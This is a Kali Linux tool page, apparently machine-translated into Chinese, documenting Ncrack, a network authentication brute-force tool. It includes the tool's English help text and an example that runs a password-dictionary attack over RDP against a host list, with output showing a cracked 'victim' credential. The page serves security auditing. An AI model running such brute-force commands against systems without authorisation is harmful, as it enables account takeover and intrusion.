Ncrack包装说明
Ncrack是一个高速的网络认证破解工具。它的建立是为了帮助公司通过积极主动地测试所有的主机和网络为贫困密码设备保护他们的网络。审核客户时，安全专家还要靠Ncrack。 Ncrack采用模块化方法，类似的Nmap命令行语法和动态引擎，可以根据网络的反馈调整自己的行为而设计的。它允许多个主机的快速而可靠的大规模审计。
Ncrack的功能包括一个非常灵活的接口授予用户完全控制网络操作的，允许非常复杂的穷举攻击，定时模板的易用性，类似的Nmap的许多更多的运行时的交互。支持的协议包括RDP，SSH，HTTP（S），SMB，POP3（S），VNC，FTP和Telnet。
资料来源：http://nmap.org/ncrack/
Ncrack首页 | 卡利Ncrack回购
- 作者：Insecure.Com有限责任公司
- 许可：GPL第二版
包含在ncrack包工具
ncrack - 高速网络认证破解工具
[email protected]:~# ncrack -h
Ncrack 0.4ALPHA ( http://ncrack.org )
Usage: ncrack [Options] {target and service specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iX <inputfilename>: Input from Nmap's -oX XML output format
-iN <inputfilename>: Input from Nmap's -oN Normal output format
-iL <inputfilename>: Input from list of hosts/networks
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
SERVICE SPECIFICATION:
Can pass target specific services in <service>://target (standard) notation or
using -p which will be applied to all hosts in non-standard notation.
Service arguments can be specified to be host-specific, type of service-specific
(-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
-p <service-list>: services will be applied to all non-standard notation hosts
-m <service>:<options>: options will be applied to all services of this type
-g <options>: options will be applied to every service globally
Misc options:
ssl: enable SSL over this service
path <name>: used in modules like HTTP ('=' needs escaping if used)
TIMING AND PERFORMANCE:
Options which take <time> are in seconds, unless you append 'ms'
(miliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
Service-specific options:
cl (min connection limit): minimum number of concurrent parallel connections
CL (max connection limit): maximum number of concurrent parallel connections
at (authentication tries): authentication attempts per connection
cd (connection delay): delay <time> between each connection initiation
cr (connection retries): caps number of service connection attempts
to (time-out): maximum cracking <time> for service, regardless of success so far
-T<0-5>: Set timing template (higher is faster)
--connection-limit <number>: threshold for total concurrent connections
AUTHENTICATION:
-U <filename>: username file
-P <filename>: password file
--user <username_list>: comma-separated username list
--pass <password_list>: comma-separated password list
--passwords-first: Iterate password list for each username. Default is opposite.
OUTPUT:
-oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename.
-oA <basename>: Output in the two major formats at once
-v: Increase verbosity level (use twice or more for greater effect)
-d[level]: Set or increase debugging level (Up to 10 is meaningful)
--nsock-trace <level>: Set nsock trace level (Valid range: 0 - 10)
--log-errors: Log errors/warnings to the normal-format output file
--append-output: Append to rather than clobber specified output files
MISC:
--resume <file>: Continue previously saved session
-f: quit cracking service after one found credential
-6: Enable IPv6 cracking
-sL or --list: only list hosts and services
--datadir <dirname>: Specify custom Ncrack data file location
-V: Print version number
-h: Print this help summary page.
MODULES:
FTP, SSH, TELNET, HTTP(S), POP3(S), SMB, RDP, VNC
EXAMPLES:
ncrack -v --user root localhost:22
ncrack -v -T5 https://192.168.0.1
ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLESncrack用法示例
用详细模式（-v），读取IP 地址（-iL win.txt）的列表 ，并尝试登录的用户名受害人（-user受害者）随着口令字典（-P passes.txt）使用RDP协议（-p RDP）与在时刻（CL = 1）的一个连接：
[email protected]:~# ncrack -v -iL win.txt --user victim -P passes.txt -p rdp CL=1
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2014-05-19 09:54 EDT
rdp://192.168.1.220:3389 finished.
Discovered credentials on rdp://192.168.1.200:3389 'victim' 's3cr3t'